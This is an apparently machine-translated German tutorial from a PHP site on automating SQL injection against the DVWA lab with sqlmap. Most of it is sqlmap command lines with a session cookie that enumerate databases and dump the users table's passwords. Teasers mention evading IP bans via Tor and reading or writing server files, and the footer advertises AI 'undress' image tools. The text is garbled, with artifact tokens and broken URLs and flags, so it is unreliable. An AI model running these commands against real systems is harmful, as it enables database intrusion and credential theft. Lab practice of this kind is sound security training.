Beispielanalyse der automatisierten Sqlmap-Injektion
Verwenden Sie SQLMAP, um die DVWA-Injektion zu automatisieren.
Stellen Sie den DVWA-Level auf niedrig ein # SQL-Injection (Blind)
), Browser-Debugging öffnen, Benutzer-ID eingeben und absenden, um die abgefangenen Anfragen anzuzeigen.
Sie können sehen, dass es sich um eine GET-Anfrage handelt, die URL „http://192.168.1.222:8089/dvwa/vulnerabilities/sqli/? id=1&Submit =Submit#“
- Lassen Sie es uns direkt in Salmap einfügen, um es zu testen. Verwenden Sie dazu den Befehl -u -u "http://192.168 .1.222:8089/vulnerabilities /sqli/?id=1&Submit=Submit#"
- Sie können sehen, dass Sie sich hier anmelden müssen, andernfalls müssen Sie sich anmelden kann nicht ausgehen. Daher müssen wir ein Cookie hinzufügen, um die Anmeldung beizubehalten
Sie können sehen, dass die Datenbank, die ausgebrochen ist, MySQL ist 7. Wir verwenden -D xxx, um die anzuzeigende Datenbank anzugeben, und verwenden --tables, um alle Tabellen anzuzeigen in der Datenbank: -u "http://192.168.1.222:8089/ vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=0orf19i6t8svmfo7lu66qrtp07; security=low" -D dvwa --tables#🎜 🎜# - Anzeigen der laufenden Ergebnisse:
# 🎜🎜#8 Wir verwenden -D xxx -T ttt, um die anzuzeigende Tabelle anzugeben, und verwenden --columns, um die Spalten der Tabelle anzuzeigen #🎜 🎜#
-u "http://192.168.1.222:8089/vulnerabilities/sqli /?id=1&Submit=Submit#" --cookie="PHPSESSID=0orf19i6t8svmfo7lu66qrtp07; security=low" -D dvwa -T Benutzer --columns 9 Wir verwenden -D xxx zum Anzeigen der Datenbank, -T xxx geben die anzuzeigende Tabelle an, verwenden -C xxx zum Anzeigen der Spalten der Tabelle und verwenden -dump zum Anzeigen die Spaltendaten
-u "http://192.168.1.222:8089/vulnerabilities/sqli/?id =1&Submit=Submit#" --cookie="PHPSESSID=0orf19i6t8svmfo7lu66qrtp07; security=low" - D dvwa -T Benutzer -C Passwort,Benutzer --dump
# 🎜🎜#Stellen Sie die dvwa-Sicherheitsstufe auf mittel ein und speichern Sie die erfassten Datenpakete als .txt-Dateien Legen Sie sie direkt im SQLMap-Verzeichnis ab -r Dateiname --dbs (Sie können nachfolgende Parameter selbst hinzufügen)
#🎜 🎜#
Stellen Sie die DVWA-Sicherheitsstufe auf hoch ein. Da die Übermittlungsseite dieses Mal nicht dieselbe Seite ist wie die Seite, die die Ergebnisse zurückgibt, kann die vorherige Methode hier nicht verwendet werden. So verwenden Sie die Injektionsmethode zweiter Ordnung#🎜🎜 ## 🎜🎜 ## 🎜🎜 ## 🎜🎜 ## 🎜🎜 ## 🎜🎜 ## 🎜🎜#Website einreichen#🎜🎜 ## 🎜🎜##🎜 🎜 #
Zurückgegebene URL
-
Speichern Sie das erfasste Datenpaket als .txt-Datei, legen Sie es im SQLMap-Verzeichnis ab, explodieren Sie die Datenbank, Befehl:
# 🎜 🎜# - -r 1.txt --second-url#🎜 🎜#
"http://192.168.1.222:8089/vulnerabilities/sqli/" -- Batch --level 2 --dbs
#🎜 🎜# -
‐ 🎜🎜#- r 1.txt --second-url "http://192.168.1.222:8089 /vulnerabilities/sqli/" - -batch --level 2 -D dvwa --tables
#🎜🎜 # 🎜🎜#-r 1 .txt --second-url. "http://192.168.1.222 :8089/vulnerabilities/sqli/"
-- Batch - -level 2 -D dvwa - T user --columns
Felddaten auflösen#🎜🎜 ## 🎜 🎜#
-r 1.txt --second-url "http://192.168.1.222:8089/vulnerabilities/sqli/" -- Batch --level 2 -D dvwa -T Benutzer -C Benutzer,Passwort --dump
#Einige konzeptionelle Fragen: #🎜🎜 #
Injektion zweiter Ordnung: Zweite Ordnung SQL-Injektion- -zweite Ordnung Manchmal, wenn die Dateneingabe am Injektionspunkt erfolgt zurückgegeben wird, ist das Ergebnis nicht die aktuelle Seite, sondern eine andere Seite. In diesem Fall müssen Sie angeben, von welcher Seite die Antwort erhalten werden soll, um festzustellen, ob sie wahr oder falsch ist. –second-url gefolgt von der URL-Adresse der zurückgegebenen Seite
--batch: automatische Standardkonfiguration, kein manuelles Drücken erforderlich ja oder nein
level :Sqlmap hat insgesamt 5 Erkennungsstufen, der Standardwert ist 1. Je höher die Stufe, desto mehr Nutzlasten werden bei der Erkennung verwendet. Unter diesen verfügt Level 5 über die meisten Nutzlasten und knackt und injiziert automatisch Header wie Cookies und XFF. Je höher der Pegel, desto langsamer ist natürlich die Erkennungszeit. Dieser Parameter wirkt sich auf den Injektionspunkt des Tests aus. GET- und POST-Daten werden getestet, wenn die Stufe 2 ist. Der HTTP-User-Agent/Referer-Header wird getestet, wenn die Stufe 3 ist. Wenn Sie nicht sicher sind, welcher Parameter der Einspritzpunkt ist, wird zur Gewährleistung der Genauigkeit empfohlen, die Stufe auf 5 einzustellen (die Geschwindigkeit wird auch langsamer)
Das obige ist der detaillierte Inhalt vonBeispielanalyse der automatisierten Sqlmap-Injektion. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Heiße KI -Werkzeuge

Undresser.AI Undress
KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover
Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool
Ausziehbilder kostenlos

Clothoff.io
KI-Kleiderentferner

AI Hentai Generator
Erstellen Sie kostenlos Ai Hentai.

Heißer Artikel

Heiße Werkzeuge

Notepad++7.3.1
Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version
Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1
Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6
Visuelle Webentwicklungstools

SublimeText3 Mac-Version
Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

Heiße Themen



Verwenden Sie sqlmap, um die Injektion in dvwa zu automatisieren, setzen Sie den dvwa-Level auf niedrig, öffnen Sie die SQLInjection (SQLInjection(Blind)) von dvwa, öffnen Sie das Browser-Debugging, geben Sie die Benutzer-ID ein, senden Sie sie und sehen Sie sich die abgefangenen Anforderungen an. Sie können sehen, dass es sich um eine GET-Anfrage handelt, die URL „http://192.168.1.222:8089/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#“. Wir haben sie direkt in Salmap eingefügt, um sie zu testen, verwenden Sie die - u Befehl -u"http://192.168.1.22

0x00-Übersicht Vor Kurzem bin ich beim Testen der SQLMAP-Injektion auf ein seltsames Phänomen gestoßen. Die höhere Version von SQLMAP kann die Injektion jedoch nicht erkennen, und die Daten können ausgehen, was kein Fehlalarm ist Beim vergleichenden Testen und Anzeigen des SQLMAP-Quellcodes wurden zwei kleine Lücken gefunden. 0x01-Szenarioreproduktion Injektionspunktformat: json..."whereparams":[{"name": "keyWord", "value": "test"}]} Injizierbare Parameter: Valuesqlmap-Befehl: pythonsqlmap.py-rsqlpk.txt– Flush -session-vvsqlmapv1.2.11 kann keine s injizieren

Teil eins: Verwendung von SQLmap 1.1 Einführung in SQLMAP 1. Ich habe einige grundlegende Anweisungen zur SQL-Injektion erwähnt, aber die manuelle Injektion ist sehr mühsam. Wir können SQLMAP, ein leistungsstarkes SQL-Injection-Tool, verwenden, um Daten zu erhalten. 2. Einführung in SQLMAP (1) # sqlmap ist ein Open-Source-Penetrationstest-Tool, das SQL-Injection-Schwachstellen und mit der Datenbank verbundene Server automatisch erkennen und ausnutzen kann. Es verfügt über eine sehr leistungsstarke Erkennungs-Engine, einen Penetrationstester mit mehreren Funktionen, Zugriff auf das zugrunde liegende Dateisystem durch Datenbank-Fingerprinting und Befehlsausführung über eine Out-of-Band-Verbindung. Offizielle Website: sqlmap.org(2)#Unterstützte Datenbanken: MySQL, Oracle, PostgreS

Da Penetrationstests auf externen Websites erforderlich sind, verfügen die meisten Websites über eine Zugriffshäufigkeitskontrolle. Sobald diese Häufigkeit überschritten wird, wird die IP direkt gesperrt. Insbesondere wenn SQLMAP ausgeführt wird, ist es noch „Tantenroter“ und wird mit einem Fehler beendet, bevor die Ausführung von SQLMAP abgeschlossen ist. Deshalb begann ich, den Proxy-Modus von SQLMAP zu untersuchen. SQLMAP verfügt über zwei Proxy-Modi, einen normalen Proxy (HTTP-Proxy) und einen Onion-Proxy. Ich wollte ursprünglich über die Anwendung gewöhnlicher Agenten schreiben, aber Baidu sah, dass dieser Artikel detailliert genug war und hörte auf, Unsinn zu reden. Sqlmap-Erweiterung – Implementierung eines externen IP-Proxy-Pools Konzentrieren wir uns auf den Onion-Proxy. Zu Beginn, als Onion direkt zur Injektion verwendet wurde, gab es keinen „Tante Red“-Bericht. Später, als die Anzahl der eingedrungenen Websites zunahm,

1. Vorwort Wie erkennt man eine SQL-Injection? Meine Antwort lautet: Wenn Partei A sich um die Sicherheit kümmert, ist die Erkennung von SQL-Injections relativ einfach. 1) Fehlerinjektionserkennung. 2) Fügen Sie keine Bool-Fehlerberichte ein, da die Zahl der Fehlalarme relativ hoch ist. 3) Führen Sie eine zeitbasierte Zeitinjektion durch, wenden Sie sich an den Betrieb und die Wartung, um langsame Protokolldatenbankaufzeichnungen zu erstellen, den Ruhezustand zu überwachen und die Schlüsselwortüberwachung durchzuführen. Sie können die ID-Nummer der Scanaufgabe zum Dezimalpunkt der Ruhezeit hinzufügen, um die Positionierung zu erleichtern. (P.S.: Mit dieser Methode können 99 % der SQL-Injektionen gefunden werden.) Daher schränke ich den Zeitfehler bei der zeitbasierten Zeitinjektion sehr streng ein. Allerdings führt @chengable sicherheitsrelevante Arbeiten in Partei B durch, basierend auf t

Es gibt zu wenige verwandte Artikel zur DNS-Injektion für SQLMAP. Sie stellen den Parameter --dns-domain nur kurz vor oder erwähnen ihn in einem Satz, was verwirrend ist (hauptsächlich unehrlich). noch nicht Big Boss). Dann habe ich es noch einmal gemacht, indem ich auf die Methoden im Internet verwiesen habe. Zu den Dingen, die vorbereitet werden müssen, gehören eine SQLMap, Windows Blind Injection, zwei Domänennamen und ein externer Netzwerkserver. Als ich einmal etwas tat, stieß ich auf eine Zeitblindinjektion. Es war zufällig ein Windows-Computer und ich erinnerte mich an die Methode der DNS-Injektion. Bevor ich anfange, habe ich vor, den Befehl --sql-shell von sqlmap zu verwenden, um die DNS-Injection-Nutzlast zu testen. Gehen Sie zunächst zu burpsuite.

Als ich die APP des Unternehmens testete, stellte ich fest, dass wir allen Parameterinhalten ein 32-Bit-Zeichen hinzugefügt und schließlich eine MD5-Verschlüsselung durchgeführt haben. Da der APP-Verarbeitungsprozess zunächst überprüft, ob das Zeichen korrekt ist, kann er überhaupt nicht in die Datenbank gelangen, um SQLMAP zum Testen zu verwenden. Nach dem Abfangen habe ich ein Skript für Proxy-Daten geschrieben Das Datenpaket führt eine verschlüsselte Ersetzung seines Parameterinhalts und 32 Zeichen durch. Hinweis: Dieses Skript ist für das interne System des Unternehmens geeignet, da Sie den Verschlüsselungsprozess kennen oder die Verschlüsselungsmethode des Front-End-JS erhalten können. Zuerst habe ich mit Django ein Programm geschrieben, um das System des Unternehmens zu simulieren. Der Prozess bestand darin, die POST-ID und das Token zu erhalten und ein benutzerdefiniertes verschlüsseltes Wort hinzuzufügen.

sqlmap liest und schreibt Dateien –file-read: liest Dateien aus dem Dateisystem des Back-End-Datenbankverwaltungssystems –file-write: bearbeitet lokale Dateien im Dateisystem des Back-End-Datenbankverwaltungssystems (schreibt von lokal) –file-dest: Der absolute Pfad zu der Datei, die vom Back-End-Datenbankverwaltungssystem geschrieben wird (Schreibzielpfad). Sie können die oben genannten Befehle verwenden, um die Systemdatei nach der SQL-Injection zu lesen und zu schreiben. Voraussetzung ist jedoch, dass Sie über Lese- und Schreibfähigkeiten verfügen Berechtigungen und DBA-Berechtigungen sein, andernfalls können Lese- und Schreibvorgänge nicht erfolgreich ausgeführt werden. Nehmen Sie als Beispiel DVWA und erstellen Sie DVWA unter Kali, um Dateien zu lesen und zu schreiben. Lesen Sie die Datei: Überprüfen Sie die relevanten Informationen in PHPinfo, verwenden Sie -file-r
